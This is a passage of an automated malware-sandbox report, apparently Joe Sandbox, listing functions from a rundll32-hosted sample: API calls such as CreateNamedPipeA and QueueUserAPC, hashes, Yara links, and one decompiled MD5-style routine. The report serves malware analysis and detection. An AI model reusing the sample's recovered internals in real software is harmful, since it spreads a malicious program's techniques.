                          • Instruction Fuzzy Hash: 29F0C2B87607029BEB248F21AD19F293BA6FB19721F108419E616C61C0EB7EE940CB14
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBD77A Relevance: 6.1, APIs: 4, Instructions: 114stringnativeCOMMON
                          Download Yara Rule
                          APIs
                          • NtQueryKey.NTDLL(?,00000003,00000000,00000000,?), ref: 04CBD7D0
                          • lstrlenW.KERNEL32(?), ref: 04CBD7DE
                          • NtQueryKey.NTDLL(?,00000003,00000000,?,?), ref: 04CBD809
                          • lstrcpyW.KERNEL32(00000006,00000000), ref: 04CBD837
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Query$lstrcpylstrlen
                          • String ID:
                          • API String ID: 3961825720-0
                          • Opcode ID: 0d2e7ae5f23a476d0b6907e17bf2d7b4a64128747815b4e6484fe7b09ef427b2
                          • Instruction ID: e820e03fa7e85d539fc95178c888d4bc04717d995be5a0cb8e338eabc1fa6ae8
                          • Opcode Fuzzy Hash: 0d2e7ae5f23a476d0b6907e17bf2d7b4a64128747815b4e6484fe7b09ef427b2
                          • Instruction Fuzzy Hash: A3413C75501209FFEB119FA8D884AEEBBB9EF44315F004069F986A7150D735EA11DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC81F1 Relevance: 6.0, APIs: 4, Instructions: 45pipeCOMMON
                          Download Yara Rule
                          APIs
                          • CreateNamedPipeA.KERNEL32(40000003,00000004,000000FF,00000100,00000100,00000000,04CDA1E8,00000001), ref: 04CC8215
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8260
                            • Part of subcall function 04CC73AA: CreateThread.KERNEL32(00000000,00000000,00000000,04CC893A,04CDA174,04CD0998), ref: 04CC73C1
                            • Part of subcall function 04CC73AA: QueueUserAPC.KERNEL32(04CC893A,00000000,?,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73D6
                            • Part of subcall function 04CC73AA: GetLastError.KERNEL32(00000000,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73E1
                            • Part of subcall function 04CC73AA: TerminateThread.KERNEL32(00000000,00000000,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73EB
                            • Part of subcall function 04CC73AA: CloseHandle.KERNEL32(00000000,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73F2
                            • Part of subcall function 04CC73AA: SetLastError.KERNEL32(00000000,?,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CC73FB
                          • GetLastError.KERNEL32(04CC1FE9,00000000,00000000,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8248
                          • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC8258
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorLast$CloseCreateHandleThread$NamedPipeQueueTerminateUser
                          • String ID:
                          • API String ID: 1700061692-0
                          • Opcode ID: e4ecc58191325326596892f42d4fa4d7f60e4e90a4d7ace0fa5634b4abda0080
                          • Instruction ID: efe47e32ae5ba80e6f4e5f3e11eb19bef18783a4abbf732b4a8c697fdad97eda
                          • Opcode Fuzzy Hash: e4ecc58191325326596892f42d4fa4d7f60e4e90a4d7ace0fa5634b4abda0080
                          • Instruction Fuzzy Hash: 56F0C879306211BFE3112AA9AC4CF373769EF89335B140239F915C22C0D7746D058AB0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBB7D5 Relevance: 4.5, APIs: 3, Instructions: 45nativethreadCOMMON
                          Download Yara Rule
                          APIs
                          • NtQueryInformationThread.NTDLL(?,00000000,?,0000001C,00000000), ref: 04CBB7E9
                          • GetLastError.KERNEL32(?,?,?,0000001C,?), ref: 04CBB829
                          • RtlNtStatusToDosError.NTDLL(00000000), ref: 04CBB832
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Error$InformationLastQueryStatusThread
                          • String ID:
                          • API String ID: 2450163249-0
                          • Opcode ID: b8f7b5c399475ca1ab6f84f6317ce37ce6982604bef00e23c8c20366f5577d5a
                          • Instruction ID: e683de0ceaf9e6c5e0c688d2918b115f27531419dd7823e4604420b8d50d4c78
                          • Opcode Fuzzy Hash: b8f7b5c399475ca1ab6f84f6317ce37ce6982604bef00e23c8c20366f5577d5a
                          • Instruction Fuzzy Hash: 7001A875940108FBEB11AAA5ED45EEEBBBEEB84700F540025F981E2150E775ED04EBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC3829 Relevance: 3.0, APIs: 2, Instructions: 48nativeCOMMON
                          Download Yara Rule
                          APIs
                          • NtQuerySystemInformation.NTDLL(00000005,00000000,00010000,00010000), ref: 04CC385A
                          • RtlNtStatusToDosError.NTDLL(C000009A), ref: 04CC3891
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorFreeHeapInformationQueryStatusSystem
                          • String ID:
                          • API String ID: 2533303245-0
                          • Opcode ID: ce5c9b7b8e1b4cf0efc58ea42ebdea2237302b100963a449ba7641b7fe49fe11
                          • Instruction ID: b051f1562640adffc6522e8c3bd8a162785b08b6f6a16a3979a00f62ef83d171
                          • Opcode Fuzzy Hash: ce5c9b7b8e1b4cf0efc58ea42ebdea2237302b100963a449ba7641b7fe49fe11
                          • Instruction Fuzzy Hash: 5701D677902260BBD7215A55A80CBEFB66BDF81B50F15802EFD0163120E730EF0096D1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB64C4 Relevance: 3.0, APIs: 2, Instructions: 37nativeCOMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CB64E3
                          • NtQueryInformationProcess.NTDLL(00000000,00000000,?,00000018,00000000), ref: 04CB64FB
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: InformationProcessQuerymemset
                          • String ID:
                          • API String ID: 2040988606-0
                          • Opcode ID: 3c83c2b7c677e3bfc01d9d832fe53f25853b0ea6006bf444a80b7c09bd6de8d2
                          • Instruction ID: 3785c6f50dd9a8ed4e65770f28d5ba88bc0793e543dd0c049531461d39dad445
                          • Opcode Fuzzy Hash: 3c83c2b7c677e3bfc01d9d832fe53f25853b0ea6006bf444a80b7c09bd6de8d2
                          • Instruction Fuzzy Hash: 06F044769002287AEB10DA90DC05FDEBBADDB14740F008060EA04E2080E770EB559BA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC7950 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                          Download Yara Rule
                          APIs
                          • RtlNtStatusToDosError.NTDLL(00000000), ref: 04CC7988
                          • SetLastError.KERNEL32(00000000), ref: 04CC798F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Error$LastStatus
                          • String ID:
                          • API String ID: 4076355890-0
                          • Opcode ID: b900ddeb84dc218f13a963b1abaa0829defd838c0589cd3a817c2fb94f58f36f
                          • Instruction ID: 563c35ad495bdd989f594e95c0a250b8676ff67f430351b97c4a76ba65b85e69
                          • Opcode Fuzzy Hash: b900ddeb84dc218f13a963b1abaa0829defd838c0589cd3a817c2fb94f58f36f
                          • Instruction Fuzzy Hash: 1CF019B5511309FBEB05CF94D909F9E7BBCDB54355F104058F604A6080D7B8EB04DB64
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC5220 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                          Download Yara Rule
                          APIs
                          • RtlNtStatusToDosError.NTDLL(C0000002), ref: 04CC524D
                          • SetLastError.KERNEL32(00000000,?,04CBC670,?,00000000,00000000,00000004,?,00000000,00000000,761B4EE0,00000000), ref: 04CC5254
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Error$LastStatus
                          • String ID:
                          • API String ID: 4076355890-0
                          • Opcode ID: 141168a662b9c5a4da5ab5099d53f5b1fef81385d3c8de38f092a1ede96fc5e8
                          • Instruction ID: 8252884bc3508bc5ab14ad9e63d2309cd494ed481ee39c9bccd0edc9ad8e1da6
                          • Opcode Fuzzy Hash: 141168a662b9c5a4da5ab5099d53f5b1fef81385d3c8de38f092a1ede96fc5e8
                          • Instruction Fuzzy Hash: 99E04876201129BBCF015EE8DC05EAF7BA9EB0C741B008014FE11D2110D735E921AFA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC5312 Relevance: 3.0, APIs: 2, Instructions: 26COMMON
                          Download Yara Rule
                          APIs
                          • RtlNtStatusToDosError.NTDLL(C0000002), ref: 04CC533F
                          • SetLastError.KERNEL32(00000000,?,04CC907F,?,00000004,00000000,00000004,?,?,?,?,04CBC691,?,00000000,CCCCFEEB,?), ref: 04CC5346
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Error$LastStatus
                          • String ID:
                          • API String ID: 4076355890-0
                          • Opcode ID: 7a15c68b2fe26ea20fd459251a42969d69727a359cdcf851cca59a3c495a26ce
                          • Instruction ID: 2b3df3647f9a11544d960ab458020b7c4ea7932e3766ed743230c9a4911f4195
                          • Opcode Fuzzy Hash: 7a15c68b2fe26ea20fd459251a42969d69727a359cdcf851cca59a3c495a26ce
                          • Instruction Fuzzy Hash: 11E09A7A20122ABBCF015EE99C05E9EBB6AEB58751B444025FE01D2120D775E961ABE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCFF4D Relevance: 2.9, APIs: 2, Instructions: 416COMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CD0327
                          • memset.NTDLL ref: 04CD0336
                            • Part of subcall function 04CB8E0C: memset.NTDLL ref: 04CB8E1D
                            • Part of subcall function 04CB8E0C: memset.NTDLL ref: 04CB8E29
                            • Part of subcall function 04CB8E0C: memset.NTDLL ref: 04CB8E54
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memset
                          • String ID:
                          • API String ID: 2221118986-0
                          • Opcode ID: 341406b789a4962d08c25e45005e78c00e508755fad212ceb06da4480133e7e8
                          • Instruction ID: 900facb31f2784215696b1c1cff10338b2aca0cda223f6288b5db59dcdf787db
                          • Opcode Fuzzy Hash: 341406b789a4962d08c25e45005e78c00e508755fad212ceb06da4480133e7e8
                          • Instruction Fuzzy Hash: DF022270501B218FC775CF2AC690567B7F2BF45718B604E2ED6E786A90E632F581CB04
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC154D Relevance: 1.9, APIs: 1, Instructions: 611COMMON
                          Download Yara Rule
                          APIs
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memset
                          • String ID:
                          • API String ID: 2221118986-0
                          • Opcode ID: d9def6b715dbe5854ad3f939d119ea01d0ab3cc14373ec07a817a0717b2aaf57
                          • Instruction ID: 759f6b54f003006c3c78a2462ad0b4ce43139ad7b87fcd2f388ecad554ee1168
                          • Opcode Fuzzy Hash: d9def6b715dbe5854ad3f939d119ea01d0ab3cc14373ec07a817a0717b2aaf57
                          • Instruction Fuzzy Hash: 3522857BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C74BF1 Relevance: 1.9, APIs: 1, Instructions: 611COMMONCrypto
                          Download Yara Rule
                          C-Code - Quality: 49%
                          			E04C74BF1(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t338;
				signed char* _t348;
				signed int _t349;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t367;
				signed int _t376;
				signed int _t378;
				signed int _t380;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t400;
				signed int* _t401;
				signed int _t402;
				signed int _t404;
				signed int _t406;
				signed int _t408;
				signed int _t410;
				signed int _t412;
				signed int _t414;
				signed int _t416;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t424;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t438;
				signed int _t440;
				signed int _t508;
				signed int _t599;
				signed int _t607;
				signed int _t613;
				signed int _t679;
				void* _t682;
				signed int _t683;
				signed int _t685;
				signed int _t690;
				signed int _t692;
				signed int _t697;
				signed int _t699;
				signed int _t718;
				signed int _t720;
				signed int _t722;
				signed int _t724;
				signed int _t726;
				signed int _t728;
				signed int _t734;
				signed int _t740;
				signed int _t742;
				signed int _t744;
				signed int _t746;
				signed int _t748;

				_t226 = _a4;
				_t348 = __ecx + 2;
				_t401 =  &_v76;
				_t682 = 0x10;
				do {
					 *_t401 = (((_t348[1] & 0x000000ff) << 0x00000008 |  *_t348 & 0x000000ff) << 0x00000008 |  *(_t348 - 1) & 0x000000ff) << 0x00000008 |  *(_t348 - 2) & 0x000000ff;
					_t401 =  &(_t401[1]);
					_t348 =  &(_t348[4]);
					_t682 = _t682 - 1;
				} while (_t682 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t683 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t402 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t349 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t683 & _t349 | _t402 & _t683) + _v76 +  *_t226 - 0x28955b88 + _t683;
				asm("rol ecx, 0xc");
				_t351 = ( !_t229 & _t402 | _t683 & _t229) + _v72 + _t349 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t404 = ( !_t351 & _t683 | _t351 & _t229) + _v68 + _t402 + 0x242070db + _t351;
				asm("ror esi, 0xa");
				_t685 = ( !_t404 & _t229 | _t351 & _t404) + _v64 + _t683 - 0x3e423112 + _t404;
				_v8 = _t685;
				_t690 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t685 & _t351 | _t404 & _v8) + _v60 + _t229 - 0xa83f051 + _t690;
				asm("rol ecx, 0xc");
				_t353 = ( !_t231 & _t404 | _t690 & _t231) + _v56 + _t351 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t406 = ( !_t353 & _t690 | _t353 & _t231) + _v52 + _t404 - 0x57cfb9ed + _t353;
				asm("ror esi, 0xa");
				_t692 = ( !_t406 & _t231 | _t353 & _t406) + _v48 + _t690 - 0x2b96aff + _t406;
				_v8 = _t692;
				_t697 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t692 & _t353 | _t406 & _v8) + _v44 + _t231 + 0x698098d8 + _t697;
				asm("rol ecx, 0xc");
				_t355 = ( !_t233 & _t406 | _t697 & _t233) + _v40 + _t353 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t408 = ( !_t355 & _t697 | _t355 & _t233) + _v36 + _t406 - 0xa44f + _t355;
				asm("ror esi, 0xa");
				_t699 = ( !_t408 & _t233 | _t355 & _t408) + _v32 + _t697 - 0x76a32842 + _t408;
				_v8 = _t699;
				asm("rol eax, 0x7");
				_t235 = ( !_t699 & _t355 | _t408 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t357 = ( !_t235 & _t408 | _v8 & _t235) + _v24 + _t355 - 0x2678e6d + _t235;
				_t508 =  !_t357;
				asm("ror edx, 0xf");
				_t410 = (_t508 & _v8 | _t357 & _t235) + _v20 + _t408 - 0x5986bc72 + _t357;
				_v12 = _t410;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t718 = (_v12 & _t235 | _t357 & _t410) + _v16 + _v8 + 0x49b40821 + _t410;
				asm("rol eax, 0x5");
				_t237 = (_t508 & _t410 | _t357 & _t718) + _v72 + _t235 - 0x9e1da9e + _t718;
				asm("rol ecx, 0x9");
				_t359 = (_v12 & _t718 | _t410 & _t237) + _v52 + _t357 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t412 = ( !_t718 & _t237 | _t359 & _t718) + _v32 + _t410 + 0x265e5a51 + _t359;
				asm("ror esi, 0xc");
				_t720 = ( !_t237 & _t359 | _t412 & _t237) + _v76 + _t718 - 0x16493856 + _t412;
				asm("rol eax, 0x5");
				_t239 = ( !_t359 & _t412 | _t359 & _t720) + _v56 + _t237 - 0x29d0efa3 + _t720;
				asm("rol ecx, 0x9");
				_t361 = ( !_t412 & _t720 | _t412 & _t239) + _v36 + _t359 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t414 = ( !_t720 & _t239 | _t361 & _t720) + _v16 + _t412 - 0x275e197f + _t361;
				asm("ror esi, 0xc");
				_t722 = ( !_t239 & _t361 | _t414 & _t239) + _v60 + _t720 - 0x182c0438 + _t414;
				asm("rol eax, 0x5");
				_t241 = ( !_t361 & _t414 | _t361 & _t722) + _v40 + _t239 + 0x21e1cde6 + _t722;
				asm("rol ecx, 0x9");
				_t363 = ( !_t414 & _t722 | _t414 & _t241) + _v20 + _t361 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t416 = ( !_t722 & _t241 | _t363 & _t722) + _v64 + _t414 - 0xb2af279 + _t363;
				asm("ror esi, 0xc");
				_t724 = ( !_t241 & _t363 | _t416 & _t241) + _v44 + _t722 + 0x455a14ed + _t416;
				asm("rol eax, 0x5");
				_t243 = ( !_t363 & _t416 | _t363 & _t724) + _v24 + _t241 - 0x561c16fb + _t724;
				asm("rol ecx, 0x9");
				_t365 = ( !_t416 & _t724 | _t416 & _t243) + _v68 + _t363 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t418 = ( !_t724 & _t243 | _t365 & _t724) + _v48 + _t416 + 0x676f02d9 + _t365;
				asm("ror esi, 0xc");
				_t726 = ( !_t243 & _t365 | _t418 & _t243) + _v28 + _t724 - 0x72d5b376 + _t418;
				asm("rol eax, 0x4");
				_t245 = (_t365 ^ _t418 ^ _t726) + _v56 + _t243 - 0x5c6be + _t726;
				asm("rol ecx, 0xb");
				_t367 = (_t418 ^ _t726 ^ _t245) + _v44 + _t365 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t420 = (_t367 ^ _t726 ^ _t245) + _v32 + _t418 + 0x6d9d6122 + _t367;
				_t599 = _t367 ^ _t420;
				asm("ror esi, 0x9");
				_t728 = (_t599 ^ _t245) + _v20 + _t726 - 0x21ac7f4 + _t420;
				asm("rol eax, 0x4");
				_t247 = (_t599 ^ _t728) + _v72 + _t245 - 0x5b4115bc + _t728;
				asm("rol edi, 0xb");
				_t607 = (_t420 ^ _t728 ^ _t247) + _v60 + _t367 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t422 = (_t607 ^ _t728 ^ _t247) + _v48 + _t420 - 0x944b4a0 + _t607;
				_t338 = _t607 ^ _t422;
				asm("ror ecx, 0x9");
				_t376 = (_t338 ^ _t247) + _v36 + _t728 - 0x41404390 + _t422;
				asm("rol eax, 0x4");
				_t249 = (_t338 ^ _t376) + _v24 + _t247 + 0x289b7ec6 + _t376;
				asm("rol esi, 0xb");
				_t734 = (_t422 ^ _t376 ^ _t249) + _v76 + _t607 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t613 = (_t734 ^ _t376 ^ _t249) + _v64 + _t422 - 0x2b10cf7b + _t734;
				_t424 = _t734 ^ _t613;
				asm("ror ecx, 0x9");
				_t378 = (_t424 ^ _t249) + _v52 + _t376 + 0x4881d05 + _t613;
				asm("rol eax, 0x4");
				_t251 = (_t424 ^ _t378) + _v40 + _t249 - 0x262b2fc7 + _t378;
				asm("rol edx, 0xb");
				_t432 = (_t613 ^ _t378 ^ _t251) + _v28 + _t734 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t740 = (_t432 ^ _t378 ^ _t251) + _v16 + _t613 + 0x1fa27cf8 + _t432;
				asm("ror ecx, 0x9");
				_t380 = (_t432 ^ _t740 ^ _t251) + _v68 + _t378 - 0x3b53a99b + _t740;
				asm("rol eax, 0x6");
				_t253 = (( !_t432 | _t380) ^ _t740) + _v76 + _t251 - 0xbd6ddbc + _t380;
				asm("rol edx, 0xa");
				_t434 = (( !_t740 | _t253) ^ _t380) + _v48 + _t432 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t742 = (( !_t380 | _t434) ^ _t253) + _v20 + _t740 - 0x546bdc59 + _t434;
				asm("ror ecx, 0xb");
				_t382 = (( !_t253 | _t742) ^ _t434) + _v56 + _t380 - 0x36c5fc7 + _t742;
				asm("rol eax, 0x6");
				_t255 = (( !_t434 | _t382) ^ _t742) + _v28 + _t253 + 0x655b59c3 + _t382;
				asm("rol edx, 0xa");
				_t436 = (( !_t742 | _t255) ^ _t382) + _v64 + _t434 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t744 = (( !_t382 | _t436) ^ _t255) + _v36 + _t742 - 0x100b83 + _t436;
				asm("ror ecx, 0xb");
				_t384 = (( !_t255 | _t744) ^ _t436) + _v72 + _t382 - 0x7a7ba22f + _t744;
				asm("rol eax, 0x6");
				_t257 = (( !_t436 | _t384) ^ _t744) + _v44 + _t255 + 0x6fa87e4f + _t384;
				asm("rol edx, 0xa");
				_t438 = (( !_t744 | _t257) ^ _t384) + _v16 + _t436 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t746 = (( !_t384 | _t438) ^ _t257) + _v52 + _t744 - 0x5cfebcec + _t438;
				asm("ror edi, 0xb");
				_t679 = (( !_t257 | _t746) ^ _t438) + _v24 + _t384 + 0x4e0811a1 + _t746;
				asm("rol eax, 0x6");
				_t259 = (( !_t438 | _t679) ^ _t746) + _v60 + _t257 - 0x8ac817e + _t679;
				asm("rol edx, 0xa");
				_t440 = (( !_t746 | _t259) ^ _t679) + _v32 + _t438 - 0x42c50dcb + _t259;
				_t400 = _a4;
				asm("rol esi, 0xf");
				_t748 = (( !_t679 | _t440) ^ _t259) + _v68 + _t746 + 0x2ad7d2bb + _t440;
				 *_t400 =  *_t400 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t400 + 4)) = (( !_t259 | _t748) ^ _t440) + _v40 + _t679 - 0x14792c6f +  *((intOrPtr*)(_t400 + 4)) + _t748;
				 *((intOrPtr*)(_t400 + 8)) =  *((intOrPtr*)(_t400 + 8)) + _t748;
				 *((intOrPtr*)(_t400 + 0xc)) =  *((intOrPtr*)(_t400 + 0xc)) + _t440;
				return memset( &_v76, 0, 0x40);
			}


































































































                          0x04c74bf4
                          0x04c74bff
                          0x04c74c02
                          0x04c74c05
                          0x04c74c06
                          0x04c74c24
                          0x04c74c26
                          0x04c74c29
                          0x04c74c2c
                          0x04c74c2c
                          0x04c74c2f
                          0x04c74c2f
                          0x04c74c32
                          0x04c74c32
                          0x04c74c35
                          0x04c74c35
                          0x04c74c52
                          0x04c74c55
                          0x04c74c6b
                          0x04c74c6e
                          0x04c74c88
                          0x04c74c8b
                          0x04c74ca1
                          0x04c74ca4
                          0x04c74ca6
                          0x04c74cbe
                          0x04c74cc1
                          0x04c74cc4
                          0x04c74cdc
                          0x04c74cdf
                          0x04c74cf9
                          0x04c74cfc
                          0x04c74d12
                          0x04c74d15
                          0x04c74d17
                          0x04c74d2f
                          0x04c74d34
                          0x04c74d37
                          0x04c74d4d
                          0x04c74d50
                          0x04c74d6a
                          0x04c74d6d
                          0x04c74d83
                          0x04c74d86
                          0x04c74d88
                          0x04c74da3
                          0x04c74da6
                          0x04c74dbd
                          0x04c74dc0
                          0x04c74dc4
                          0x04c74ddd
                          0x04c74de0
                          0x04c74de2
                          0x04c74de5
                          0x04c74e00
                          0x04c74e03
                          0x04c74e1c
                          0x04c74e1f
                          0x04c74e2f
                          0x04c74e32
                          0x04c74e4a
                          0x04c74e4d
                          0x04c74e67
                          0x04c74e6a
                          0x04c74e82
                          0x04c74e85
                          0x04c74e9b
                          0x04c74e9e
                          0x04c74eb6
                          0x04c74eb9
                          0x04c74ed1
                          0x04c74ed4
                          0x04c74eee
                          0x04c74ef1
                          0x04c74f07
                          0x04c74f0a
                          0x04c74f22
                          0x04c74f25
                          0x04c74f3f
                          0x04c74f42
                          0x04c74f5a
                          0x04c74f5d
                          0x04c74f73
                          0x04c74f76
                          0x04c74f8e
                          0x04c74f91
                          0x04c74fa9
                          0x04c74fac
                          0x04c74fbe
                          0x04c74fc1
                          0x04c74fd3
                          0x04c74fd6
                          0x04c74fe8
                          0x04c74feb
                          0x04c74fef
                          0x04c74fff
                          0x04c75002
                          0x04c75010
                          0x04c75013
                          0x04c75025
                          0x04c75028
                          0x04c7503c
                          0x04c7503f
                          0x04c75041
                          0x04c75051
                          0x04c75054
                          0x04c75066
                          0x04c75069
                          0x04c75077
                          0x04c7507a
                          0x04c7508c
                          0x04c7508f
                          0x04c75093
                          0x04c750a3
                          0x04c750a6
                          0x04c750b8
                          0x04c750bb
                          0x04c750c9
                          0x04c750cc
                          0x04c750de
                          0x04c750e1
                          0x04c750f3
                          0x04c750f6
                          0x04c7510a
                          0x04c7510d
                          0x04c75121
                          0x04c75124
                          0x04c75138
                          0x04c7513b
                          0x04c7514f
                          0x04c75152
                          0x04c75166
                          0x04c75169
                          0x04c7517d
                          0x04c75182
                          0x04c75194
                          0x04c75197
                          0x04c751ab
                          0x04c751ae
                          0x04c751c2
                          0x04c751c5
                          0x04c751db
                          0x04c751de
                          0x04c751f2
                          0x04c751f5
                          0x04c75207
                          0x04c7520a
                          0x04c7521e
                          0x04c75221
                          0x04c75235
                          0x04c75238
                          0x04c7524c
                          0x04c75255
                          0x04c75258
                          0x04c75261
                          0x04c7526a
                          0x04c75272
                          0x04c7527a
                          0x04c75284
                          0x04c75299

                          APIs
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: memset
                          • String ID:
                          • API String ID: 2221118986-0
                          • Opcode ID: b84fae2424a8dea2ca03a1429469610375b5738a21d8790c4dd2bcffc4a620be
